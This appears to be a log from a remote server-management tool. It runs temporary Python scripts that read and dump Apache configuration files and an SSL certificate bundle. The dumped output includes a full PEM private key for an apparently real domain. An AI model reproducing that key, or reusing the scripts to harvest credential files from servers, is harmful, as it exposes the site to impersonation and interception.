sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-23 15:10:27: 

chmod 755 /tmp/pkp651827; /tmp/pkp651827; rm /tmp/pkp651827

2025-12-23 15:10:27: 
2025-12-23 15:10:27: 

PUT: /tmp/pkp447656

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/ports.conf')
    show_file('/etc/apache2/apache2.conf')
    show_file('/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt')
    show_file('/etc/apache2/sites-available/default-ssl.conf')
    show_file('/etc/apache2/sites-available/000-default.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-23 15:10:27: 

chmod 755 /tmp/pkp447656; /tmp/pkp447656; rm /tmp/pkp447656

2025-12-23 15:10:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/ports.conf	274
# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default.conf

Listen 80

<IfModule ssl_module>
	Listen 443
</IfModule>

<IfModule mod_gnutls.c>
	Listen 443
</IfModule>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/apache2.conf	7178
# This is the main Apache server configuration file.  It contains the
# configuration directives that give the server its instructions.
# See http://httpd.apache.org/docs/2.4/ for detailed information about
# the directives and /usr/share/doc/apache2/README.Debian about Debian specific
# hints.
#
#
# Summary of how the Apache 2 configuration works in Debian:
# The Apache 2 web server configuration in Debian is quite different to
# upstream's suggested way to configure the web server. This is because Debian's
# default Apache2 installation attempts to make adding and removing modules,
# virtual hosts, and extra configuration directives as flexible as possible, in
# order to make automating the changes and administering the server as easy as
# possible.

# It is split into several files forming the configuration hierarchy outlined
# below, all located in the /etc/apache2/ directory:
#
#	/etc/apache2/
#	|-- apache2.conf
#	|	`--  ports.conf
#	|-- mods-enabled
#	|	|-- *.load
#	|	`-- *.conf
#	|-- conf-enabled
#	|	`-- *.conf
# 	`-- sites-enabled
#	 	`-- *.conf
#
#
# * apache2.conf is the main configuration file (this file). It puts the pieces
#   together by including all remaining configuration files when starting up the
#   web server.
#
# * ports.conf is always included from the main configuration file. It is
#   supposed to determine listening ports for incoming connections which can be
#   customized anytime.
#
# * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/
#   directories contain particular configuration snippets which manage modules,
#   global configuration fragments, or virtual host configurations,
#   respectively.
#
#   They are activated by symlinking available configuration files from their
#   respective *-available/ counterparts. These should be managed by using our
#   helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See
#   their respective man pages for detailed information.
#
# * The binary is called apache2. Due to the use of environment variables, in
#   the default configuration, apache2 needs to be started/stopped with
#   /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not
#   work with the default configuration.


# Global configuration
#

#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# NOTE!  If you intend to place this on an NFS (or otherwise network)
# mounted filesystem then please read the Mutex documentation (available
# at <URL:http://httpd.apache.org/docs/2.4/mod/core.html#mutex>);
# you will save yourself a lot of trouble.
#
# Do NOT add a slash at the end of the directory path.
#
#ServerRoot "/etc/apache2"

#
# The accept serialization lock file MUST BE STORED ON A LOCAL DISK.
#
#Mutex file:${APACHE_LOCK_DIR} default

#
# The directory where shm and other runtime files will be stored.
#

DefaultRuntimeDir ${APACHE_RUN_DIR}

#
# PidFile: The file in which the server should record its process
# identification number when it starts.
# This needs to be set in /etc/apache2/envvars
#
PidFile ${APACHE_PID_FILE}

#
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 300

#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On

#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 100

#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 5


# These need to be set in /etc/apache2/envvars
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}

#
# HostnameLookups: Log the names of clients or just their IP addresses
# e.g., www.apache.org (on) or 204.62.129.132 (off).
# The default is off because it'd be overall better for the net if people
# had to knowingly turn this feature on, since enabling it means that
# each client request will result in AT LEAST one lookup request to the
# nameserver.
#
HostnameLookups Off

# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here.  If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
#
ErrorLog ${APACHE_LOG_DIR}/error.log

#
# LogLevel: Control the severity of messages logged to the error_log.
# Available values: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the log level for particular modules, e.g.
# "LogLevel info ssl:warn"
#
LogLevel warn

# Include module configuration:
IncludeOptional mods-enabled/*.load
IncludeOptional mods-enabled/*.conf

# Include list of ports to listen on
Include ports.conf


# Sets the default security model of the Apache2 HTTPD server. It does
# not allow access to the root filesystem outside of /usr/share and /var/www.
# The former is used by web applications packaged in Debian,
# the latter may be used for local directories served by the web server. If
# your system is serving content from a sub-directory in /srv you must allow
# access here, or in any related virtual host.
<Directory />
	Options FollowSymLinks
	AllowOverride None
	Require all denied
</Directory>

<Directory /usr/share>
	AllowOverride None
	Require all granted
</Directory>

<Directory /var/www/>
	Options Indexes FollowSymLinks
	AllowOverride None
	Require all granted
</Directory>

#<Directory /srv/>
#	Options Indexes FollowSymLinks
#	AllowOverride None
#	Require all granted
#</Directory>




# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives.  See also the AllowOverride
# directive.
#
AccessFileName .htaccess

#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<FilesMatch "^\.ht">
	Require all denied
</FilesMatch>


#
# The following directives define some format nicknames for use with
# a CustomLog directive.
#
# These deviate from the Common Log Format definitions in that they use %O
# (the actual bytes sent including headers) instead of %b (the size of the
# requested file), because the latter makes it impossible to detect partial
# requests.
#
# Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.
# Use mod_remoteip instead.
#
LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %O" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent

# Include of directories ignores editors' and dpkg's backup files,
# see README.Debian for details.

# Include generic snippets of statements
IncludeOptional conf-enabled/*.conf

# Include the virtual host configurations:
IncludeOptional sites-enabled/*.conf


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt	8605
a9:6b:a1:a5:89:0c:fe:54:70:0f:63:aa:30:d3:d7:fc

-----BEGIN CERTIFICATE-----
MIIGVzCCBL+gAwIBAgIRANUcRBuZQtgOQAZJA8NEgO8wDQYJKoZIhvcNAQELBQAw
ZjELMAkGA1UEBhMCQUUxGTAXBgNVBAoTEFNTTDJCVVkgRU1FQSBMTEMxPDA6BgNV
BAMTM1NTTDJCVVkgRU1FQSBSU0EgRG9tYWluIFZhbGlkYXRpb24gU2VjdXJlIFNl
cnZlciBDQTAeFw0yNTEyMDIwMDAwMDBaFw0yNzAxMDIyMzU5NTlaMBcxFTATBgNV
BAMMDCoubXlhcHAuY2FyZTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ANHZFH2s4GOd5CLuJ8zQPwh+JryCAdwFQxWN3vMYLQdTBtqmH6zqwAmbFWGI6KPb
WMc80S6JK/VC+8rjmyKiXxGetZwtFy30r8eF/6ibO28sOyxjM5KTrEg3eOZ8CXG7
BmCW7U55rndetexTSjpOBSuJDLvLsD/nzxF++QNcZSo9XLa0zdk1G4srpmgrE+U5
WUUiraWOTfrTbfcbWxZvrT8VG2R5ZJfllmz1M17IWBTDU5mCf42SJM0F5EF3IMIy
wS0CmeO0qc51aAbmpAMq7siiis79+OSLvRQo+C/lcYsqEOtRQQ2xaUZ/VhRrSgm0
G9UrRE1L/67HJ2JV0VFZWMkCAwEAAaOCAs0wggLJMB8GA1UdIwQYMBaAFIFZSMm6
5QBv37f/UMWr793m5K6QMB0GA1UdDgQWBBRhGj7em/h5PNICJDriI5iCAegOwzAO
BgNVHQ8BAf8EBAMCBaAwDAYDVR0TAQH/BAIwADATBgNVHSUEDDAKBggrBgEFBQcD
ATATBgNVHSAEDDAKMAgGBmeBDAECATCBiAYIKwYBBQUHAQEEfDB6MFMGCCsGAQUF
BzAChkdodHRwOi8vY3J0LnNlY3RpZ28uY29tL1NTTDJCVVlFTUVBUlNBRG9tYWlu
VmFsaWRhdGlvblNlY3VyZVNlcnZlckNBLmNydDAjBggrBgEFBQcwAYYXaHR0cDov
L29jc3Auc2VjdGlnby5jb20wIwYDVR0RBBwwGoIMKi5teWFwcC5jYXJlggpteWFw
cC5jYXJlMIIBjQYKKwYBBAHWeQIEAgSCAX0EggF5AXcAdgBgTJqven93XwHUBvyS
DciZ6wscffjJUhv6+hd3O5eLyQAAAZrhTprVAAAEAwBHMEUCIDI0LLuWEgXZ7Dq8
LZht30VzJVqKz/0TXNZIi4IfCZYSAiEA0aYTjkNZbV7QRpCnWGYZWtkISDg0TfD/
dBQjIDiOCPYAfQCOykcLrN5q86IGsKR6hLdG/h/Gv5U+JeabTuQCSPPG6AAAAZrh
Tp3iAAgAAAUAAEYlBAQDAEYwRAIgZ9VgnBQonCVGAsuk22+i4MDVOufCa9GXP0Ah
4/Su1OoCIGYWX6c5RoJ4uWTKgQqLkaYSvIcFYekWboYvVcc2kZB0AH4AWW5sM4aU
sllyolbIoOjdkEp26Ag92oc7AQg4KBQ87lkAAAGa4U6ckQAIAAAFAAAAQ9EEAwBH
MEUCIQCjLppjUg79FVP5jJzrj3sCtexyNSlx0BioF6IotFj0kQIgfE9ujCun6ZLe
8oK9rMWBUTsArCmHyfT0r+Ktm+2T7HMwDQYJKoZIhvcNAQELBQADggGBAAMstxOP
96S7fclGjGNvIUjzVJV0Uia9kn/44ZWIBDoYAI/+4h42xNG9SEcZ1Y239rAtWr0s
82g9cdLDgpbWaWOT8n21oP7f1t9Sj2GyncJoQb4jPTgVzEJ8XcsUig+UroYimvoX
q1HLX8bKTAnQwjEENoBUQxAOd25ED21nR2x9IEV+CVMPZKhF0Kbscbz7zFrEVwvX
ssU6g7va78S8KblsFXQSfap8U8cuF0C5szy/p5S0jUCwDAbukQm3OYVIJZ+RTSxQ
qMZoXXxp3bk3WrVSUukZ906v1ATAH6l5O8EyJ2UkKZpLTnEWzI8wx9/iRoFbCv7x
PqhJsHuWNqejhvzJxR4oeyuWCi9DjqqDCnizytWG6Sm/mdWCJ2vIgX595tVkXZVh
Bp1dObJgxNU9bIz7npJkreR4LN+leLfguo52ROZnDilXlCzKLT4mDAL5JbBdlzn7
9guC40o9ivvM+LM7I0AoBu+7NcFcXZh3HDcNU2xAXR/WPqUZg1+QWkjS0w==
-----END CERTIFICATE-----

-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDR2RR9rOBjneQi
7ifM0D8Ifia8ggHcBUMVjd7zGC0HUwbaph+s6sAJmxVhiOij21jHPNEuiSv1QvvK
45siol8RnrWcLRct9K/Hhf+omztvLDssYzOSk6xIN3jmfAlxuwZglu1Oea53XrXs
U0o6TgUriQy7y7A/588RfvkDXGUqPVy2tM3ZNRuLK6ZoKxPlOVlFIq2ljk360233
G1sWb60/FRtkeWSX5ZZs9TNeyFgUw1OZgn+NkiTNBeRBdyDCMsEtApnjtKnOdWgG
5qQDKu7IoorO/fjki70UKPgv5XGLKhDrUUENsWlGf1YUa0oJtBvVK0RNS/+uxydi
VdFRWVjJAgMBAAECggEAB8FUBoj7CfNt2PSgN+uCSNgQqmrLkswG/KbvlGBSWbDx
0ebNyOAsFK7MjXw3zMZwc3yF5ohfPYMqNwdOVmtVxBrvb0QjVSlzzZXgKuUBv0wN
K8jGwSX/+fNC3pG6758Pz0YEox/QGM1BP+icF6eGfWNlOxN+Af6ZInZk0YD6pCLr
Pt423fjTijs/CCkOeCOEpTvdRALwTY0TVa7ryvQEFEauSprYpbYr9Cjygt/vRqZ9
zkKEXYGZ2Gu8IUP3RsRNe47VCcSmUx6lN0v04KKPNC3fsHo3hsrUftOdzwkAJeXu
uDu0RpvdvDK8TnI1nDtcxnH/AnGJzGbuz7Mex84gOQKBgQD16+OycXcc8uHmdmpf
LUJqF1ly6y3UfP3PH3i4wtQMHVqfqZwQTuPfLoEm5dZA5A8SMkorHpimBP7mVKLu
iinhotAXwfrBGD3y2Iri5NmjemtUMU4jdpImHtJ7jFxbtRRHXNR1akFr52MYBSJQ
Q7P8hL+3BW/WbughwsHkerr8VwKBgQDacrjTFplDZeSRtiE/RItARncnty8vqai2
BABWcuoo0Rs+E/QHERyZMNQpqfE6pJLOiTh5ovtBQ1C18eRqlYQXJs7gxgN3AV70
BkfdYgYN7DnDlGU17kEd3XA1wJ9eP/xaxI9YLvGJ8Vil8QA/6P1EikLPZqp1JZSx
oekRGb8f3wKBgBcS0+FZPgjMTR+3epGFiJa1rCHZKQqn05SMamJDfWvJkUgrvMXW
8RBup5WDuQ+LllJpv4W+MCpbi6MGy+a/teBCy21/OMzHPoC7ioRxXm41PT7ABYnU
RTAoci0/ZScBnW54qkJ9/rdmFWkaijans4p81hQRAYZID6WjRVfvn/2vAoGAQ+yM
H8bVHSnfqpcxO1T635+JiWXiXDWq6f3QhRDyUoLCr8jQhioB9HhEYDghdBScOXBd
iSTub1qZDBoM5j9bdT9x8F5h0W0xszsIuYOzUjzzsSbBWcWdpcWnEG+2nj3TH/4i
fE8Md9H9uIt5gmXV6qv7HjZUJlzrIViw+cpBrY0CgYEAl9wcr81vpdFfHWMca/Mu
o5uZTGT5KCPPPZdQH7xwFR/IyaqvRyHSZrTYeyw6C8a4wmpExWfl/MOAADpKpXJ0
9HNQKRHRhE4XMOFh+6Sx1xARPnuN+TRi3Kzm0eI0b4G+Ld6/s5mPJ+IQvuG7QaoJ
SAap5snFH9htADOn4RXibrI=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIGSzCCBDOgAwIBAgIRAJvUQHUeRiPp62D8LGqVNMcwDQYJKoZIhvcNAQEMBQAw
XzELMAkGA1UEBhMCR0IxGDAWBgNVBAoTD1NlY3RpZ28gTGltaXRlZDE2MDQGA1UE
AxMtU2VjdGlnbyBQdWJsaWMgU2VydmVyIEF1dGhlbnRpY2F0aW9uIFJvb3QgUjQ2
MB4XDTI0MDczMTAwMDAwMFoXDTM0MDczMDIzNTk1OVowZjELMAkGA1UEBhMCQUUx
GTAXBgNVBAoTEFNTTDJCVVkgRU1FQSBMTEMxPDA6BgNVBAMTM1NTTDJCVVkgRU1F
QSBSU0EgRG9tYWluIFZhbGlkYXRpb24gU2VjdXJlIFNlcnZlciBDQTCCAaIwDQYJ
KoZIhvcNAQEBBQADggGPADCCAYoCggGBALsbge3dwtQ6DNyJOcsZ+ZNJw/wpFgoW
xtz5f07UlYcc5ob1YU5hUbwTdfCHl3p2NiIjYedo2jb0qmgD8x0fycJ4yNG0hQRy
ptIUSkzyCEfG5QbNLK8osOPq/b274qVYuh7FeGk08JO050i7yJdUyYT3FlrTr/BA
hy2ckfwu27j63NVWzmT+piryjtCa2md1Txpmn0P2JedZKdzO3nopLYrvQ7ulxh0k
kZFG0QJbTwIC2miuExxTsLfr88dy2OiArQ7mts4aJJTWGxKGP14qTQiv9La5GUwV
y1j4tSxMVJtrQyhdXrAqydo7Z/CP8Crw/5aUlK1DRu7kTQ36S2CJD1M65h7sYaZc
TuXUGcgmeQXBeVsUYPQB7jsrkgaZLEwliyrWF8YUJcYfYHzKqb5TVuMljDsKLweI
1dowbB6B21QpWHwf0n2kCJPR0R2daKClSR9cVi/WyyMBy7zBnMVW6XvfQqH6qrs3
7oGjZhS+XmzgIJIrW9+G46zhw02QiyclLQIDAQABo4IBeTCCAXUwHwYDVR0jBBgw
FoAUVnNYZJX5khqwEioEYnmhQBWIIUkwHQYDVR0OBBYEFIFZSMm65QBv37f/UMWr
793m5K6QMA4GA1UdDwEB/wQEAwIBhjASBgNVHRMBAf8ECDAGAQH/AgEAMB0GA1Ud
JQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjATBgNVHSAEDDAKMAgGBmeBDAECATBU
BgNVHR8ETTBLMEmgR6BFhkNodHRwOi8vY3JsLnNlY3RpZ28uY29tL1NlY3RpZ29Q
dWJsaWNTZXJ2ZXJBdXRoZW50aWNhdGlvblJvb3RSNDYuY3JsMIGEBggrBgEFBQcB
AQR4MHYwTwYIKwYBBQUHMAKGQ2h0dHA6Ly9jcnQuc2VjdGlnby5jb20vU2VjdGln
b1B1YmxpY1NlcnZlckF1dGhlbnRpY2F0aW9uUm9vdFI0Ni5wN2MwIwYIKwYBBQUH
MAGGF2h0dHA6Ly9vY3NwLnNlY3RpZ28uY29tMA0GCSqGSIb3DQEBDAUAA4ICAQAI
Lv4hSPNBcCiZPejKD1/xCJsZjLEHiQDEMCABEQ3wzmdKlCGxeKBhyi46URu0BKLY
SoDHT/qXa1QOxt8lUYn1LkGwiN2jWgUn8UK3VloGxmHgKQ9OuAH893TyQNktvZLr
35Ve9qREIBlBNtfNlwqBsm2Z3Vyzd1r+iZJioqG63dSx29Tm9YUcRPzkFXEsrWvp
3uTpSWWnSEo7FPEKk66RuCy1qDViOuAB5DOAWdM/dB5OL52UxisLf91EvZfZHOu2
G5KVA45DvXi7Jmgq/9zL9hM74ziNAudWjruOE/cPfPr2HbW5MTXcmcMctSXy93Df
RqIXoMVHj5ZrZRpxO6vvxNm6wxyizkqOg6WndgTFa13o0Tmva6fVzqVsdm06lNT1
dQA8tu7c+fdWw98ZIUSNeR9S0b/Rzjl0nr0mITVliDwJJhfsPjijLaCLCXBQqA1h
nYTWaGt1HYWEVK0L0SpZRqPcBa15QMHX3Y6wd3nNcRrU2OkgMHox0pKnuhbsVblM
wf5onD0m/CIPJ2pIEKn60Pv8oAXVk19hwHA8IhzSZi8u9atuNJC5vjDj2Uo9bUW1
UJj7MuKhTihTxYlaib8dh1Oq6k9S6AISeQJFgz/eEYPqyTm+irLaFMM/S6eg9M84
J/LdTC0VaJ+lSR+7k+6h3usVo1OXybt5lV9hC+Ymqg==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIGlTCCBH2gAwIBAgIRANJ/u8HeNZ5SFq1hSVhgmcQwDQYJKoZIhvcNAQEMBQAw
gYgxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpOZXcgSmVyc2V5MRQwEgYDVQQHEwtK
ZXJzZXkgQ2l0eTEeMBwGA1UEChMVVGhlIFVTRVJUUlVTVCBOZXR3b3JrMS4wLAYD
VQQDEyVVU0VSVHJ1c3QgUlNBIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTIx
MDMyMjAwMDAwMFoXDTM4MDExODIzNTk1OVowXzELMAkGA1UEBhMCR0IxGDAWBgNV
BAoTD1NlY3RpZ28gTGltaXRlZDE2MDQGA1UEAxMtU2VjdGlnbyBQdWJsaWMgU2Vy
dmVyIEF1dGhlbnRpY2F0aW9uIFJvb3QgUjQ2MIICIjANBgkqhkiG9w0BAQEFAAOC
Ag8AMIICCgKCAgEAk77VNlJ12AEjoBxHQknuY7a3If3EldVIKyZ8FFMQ2nn9K7ct
pNQs+uoy3UnCub0PSD17WphUr55dMXRPB/xQId2kz2hPGxJjbSWZTCqZ80gwYfqB
fB6nCErcPiscHxhMcao1jK34bug7StnllALWiYQTqm3ITzPMUJY3kjPcX4jnn1TZ
SPCYQ9Zm/Z8XOEPFAVEL1+MjDxRdWxTnS77d9MjaAzfR1jmhIVEwg7Bt1zBOlluR
8HAkq79FgWRDDb0hOi886Z4NyyC1QifM2m+b7mQwkDnNk2WBITG1I1AzNyLjOO34
MTDMRf5i+dFdMnlCh99qzFYZQE3Oqrv5tXZJlPEn+JGlg+UGs2MOgNzgElWApjtm
tDmHLcjw0NEU6eQNTQ72XVdyxTscR1ad4tX7gWGMzE2AkDRbt9cUddzYBEifwMEo
iLTpHMqnsfFWt3tJTFnlIBWohAIp+jiUaZpJBo/NH3kUFxIMg3reH7GX7vmXeCik
yESS6X0mBaZYcpt5E9gRX67FOGI0aLKGMI74kGGeMmz1BzbNokxu7Io27fLmmRVE
cMN8vJw5wLTha/eDJSNX2RKA5UnwdQ/vjescm1QotCE8/HwK/+97a3X/ix2gGQWr
+vgrgULoOLq7+6r9PeDzyt9Ol5cp7fMYVumllqy9w5CYsuD5otSmR0N8bc8CAwEA
AaOCASAwggEcMB8GA1UdIwQYMBaAFFN5v1qqK0rPVIDh2JvAnfKyA2bLMB0GA1Ud
DgQWBBRWc1hklfmSGrASKgRieaFAFYghSTAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0T
AQH/BAUwAwEB/zAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwEQYDVR0g
BAowCDAGBgRVHSAAMFAGA1UdHwRJMEcwRaBDoEGGP2h0dHA6Ly9jcmwudXNlcnRy
dXN0LmNvbS9VU0VSVHJ1c3RSU0FDZXJ0aWZpY2F0aW9uQXV0aG9yaXR5LmNybDA1
BggrBgEFBQcBAQQpMCcwJQYIKwYBBQUHMAGGGWh0dHA6Ly9vY3NwLnVzZXJ0cnVz
dC5jb20wDQYJKoZIhvcNAQEMBQADggIBADpvBIlq7bMU0cFDT/9P9+BsgCkRgQs0
S6Bf7vJSlWMHwby0VGvxCS0hrbi0K2BINZbEbsVsgpQq04431yyoVn3Hldorgq24
RldRDOOipEZDTFB9wC9HYt1thHF00XeG2C8KC1plwoEzKAIhPvefI/C3cT0CfTXJ
uFjUbKIgSwjNjw6YHtLgoy/hd5+JLUlLco/gzFX/qWbT7tEquOMYpsNKWZj8TLqP
q6zMiG4Na6feEZte6YPXGrMWlTWN341vDedc+yxQqSug79HJUQcOZs7KyDWztmae
QxsPE49UV/8XwrfZtZaYyrs4FpD94Z4Q8dzXGL8+qEJjxgcza7W6PROaClubavd1
VKPm8+aCW77u7SxpR2TFGL6kPdxsKyFijpcunR5V79sUyROfNdzjrAcFWZXK8sbb
9FlnwuVG677JLv+ZVTX5AxLvW5OB4zt5uS+zB62wJ/Wv+jXGAttSAcJec4iFgCWH
Rvdi/jJoSzRLa3nEzx6pFIzclSCnh0u1xCeLcUBypSiPga8W+6PkuoyQq8U9qs9E
oxG5NvrvlyshwUS9yvcZRGw7Ljlx4jJH/BhIPR8kIBCQj1vna9TziZOrw1Of8hDU
bHKFG9Pm8Dp2vbjz/2JH39qvxshPKVllGfq+5klPm7yZRUYTiCMAbqwNdL/nsqF2
Rnnyp58XRStJ
-----END CERTIFICATE-----




----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/default-ssl.conf	4573
<VirtualHost *:443>
	ServerAdmin webmaster@localhost

	DocumentRoot /var/www/html

	# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
	# error, crit, alert, emerg.
	# It is also possible to configure the loglevel for particular
	# modules, e.g.
	#LogLevel info ssl:warn

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

	# For most configuration files from conf-available/, which are
	# enabled or disabled at a global level, it is possible to
	# include a line for only one particular virtual host. For example the
	# following line enables the CGI configuration for this host only
	# after it has been globally disabled with "a2disconf".
	#Include conf-available/serve-cgi-bin.conf

	#   SSL Engine Switch:
	#   Enable/Disable SSL for this virtual host.
	SSLEngine on

	#   A self-signed (snakeoil) certificate can be created by installing
	#   the ssl-cert package. See
	#   /usr/share/doc/apache2/README.Debian.gz for more info.
	#   If both key and certificate are stored in the same file, only the
	#   SSLCertificateFile directive is needed.
	SSLCertificateFile      /etc/ssl/certs/ssl-cert-snakeoil.pem
	SSLCertificateKeyFile   /etc/ssl/private/ssl-cert-snakeoil.key

	#   Server Certificate Chain:
	#   Point SSLCertificateChainFile at a file containing the
	#   concatenation of PEM encoded CA certificates which form the
	#   certificate chain for the server certificate. Alternatively
	#   the referenced file can be the same as SSLCertificateFile
	#   when the CA certificates are directly appended to the server
	#   certificate for convinience.
	#SSLCertificateChainFile /etc/apache2/ssl.crt/server-ca.crt

	#   Certificate Authority (CA):
	#   Set the CA certificate verification path where to find CA
	#   certificates for client authentication or alternatively one
	#   huge file containing all of them (file must be PEM encoded)
	#   Note: Inside SSLCACertificatePath you need hash symlinks
	#         to point to the certificate files. Use the provided
	#         Makefile to update the hash symlinks after changes.
	#SSLCACertificatePath /etc/ssl/certs/
	#SSLCACertificateFile /etc/apache2/ssl.crt/ca-bundle.crt

	#   Certificate Revocation Lists (CRL):
	#   Set the CA revocation path where to find CA CRLs for client
	#   authentication or alternatively one huge file containing all
	#   of them (file must be PEM encoded)
	#   Note: Inside SSLCARevocationPath you need hash symlinks
	#         to point to the certificate files. Use the provided
	#         Makefile to update the hash symlinks after changes.
	#SSLCARevocationPath /etc/apache2/ssl.crl/
	#SSLCARevocationFile /etc/apache2/ssl.crl/ca-bundle.crl

	#   Client Authentication (Type):
	#   Client certificate verification type and depth.  Types are
	#   none, optional, require and optional_no_ca.  Depth is a
	#   number which specifies how deeply to verify the certificate
	#   issuer chain before deciding the certificate is not valid.
	#SSLVerifyClient require
	#SSLVerifyDepth  10

	#   SSL Engine Options:
	#   Set various options for the SSL engine.
	#   o FakeBasicAuth:
	#    Translate the client X.509 into a Basic Authorisation.  This means that
	#    the standard Auth/DBMAuth methods can be used for access control.  The
	#    user name is the `one line' version of the client's X.509 certificate.
	#    Note that no password is obtained from the user. Every entry in the user
	#    file needs this password: `xxj31ZMTZzkVA'.
	#   o ExportCertData:
	#    This exports two additional environment variables: SSL_CLIENT_CERT and
	#    SSL_SERVER_CERT. These contain the PEM-encoded certificates of the
	#    server (always existing) and the client (only existing when client
	#    authentication is used). This can be used to import the certificates
	#    into CGI scripts.
	#   o StdEnvVars:
	#    This exports the standard SSL/TLS related `SSL_*' environment variables.
	#    Per default this exportation is switched off for performance reasons,
	#    because the extraction step is an expensive operation and is usually
	#    useless for serving static content. So one usually enables the
	#    exportation for CGI and SSI requests only.
	#   o OptRenegotiate:
	#    This enables optimized SSL connection renegotiation handling when SSL
	#    directives are used in per-directory context.
	#SSLOptions +FakeBasicAuth +ExportCertData +StrictRequire
	<FilesMatch "\.(?:cgi|shtml|phtml|php)$">
		SSLOptions +StdEnvVars
	</FilesMatch>
	<Directory /usr/lib/cgi-bin>
		SSLOptions +StdEnvVars
	</Directory>
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/000-default.conf	1286
<VirtualHost *:80>
	# The ServerName directive sets the request scheme, hostname and port that
	# the server uses to identify itself. This is used when creating
	# redirection URLs. In the context of virtual hosts, the ServerName
	# specifies what hostname must appear in the request's Host: header to
	# match this virtual host. For the default virtual host (this file) this
	# value is not decisive as it is used as a last resort host regardless.
	# However, you must set it for any further virtual host explicitly.
	#ServerName www.example.com

	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/html

	# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
	# error, crit, alert, emerg.
	# It is also possible to configure the loglevel for particular
	# modules, e.g.
	#LogLevel info ssl:warn

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

	# For most configuration files from conf-available/, which are
	# enabled or disabled at a global level, it is possible to
	# include a line for only one particular virtual host. For example the
	# following line enables the CGI configuration for this host only
	# after it has been globally disabled with "a2disconf".
	#Include conf-available/serve-cgi-bin.conf
</VirtualHost>




(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/myapp_ma2-mtfp_care.conf)= 7472589b546c64790d8a4a507bb8930a
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-acrp_care.conf)= 9e3b2e1ac45d4b81318b4a40ae6ed96c
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_sma1-lrygb_care.conf)= 4b1aae6f4a3a1cb5e036c51957d3b29b
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
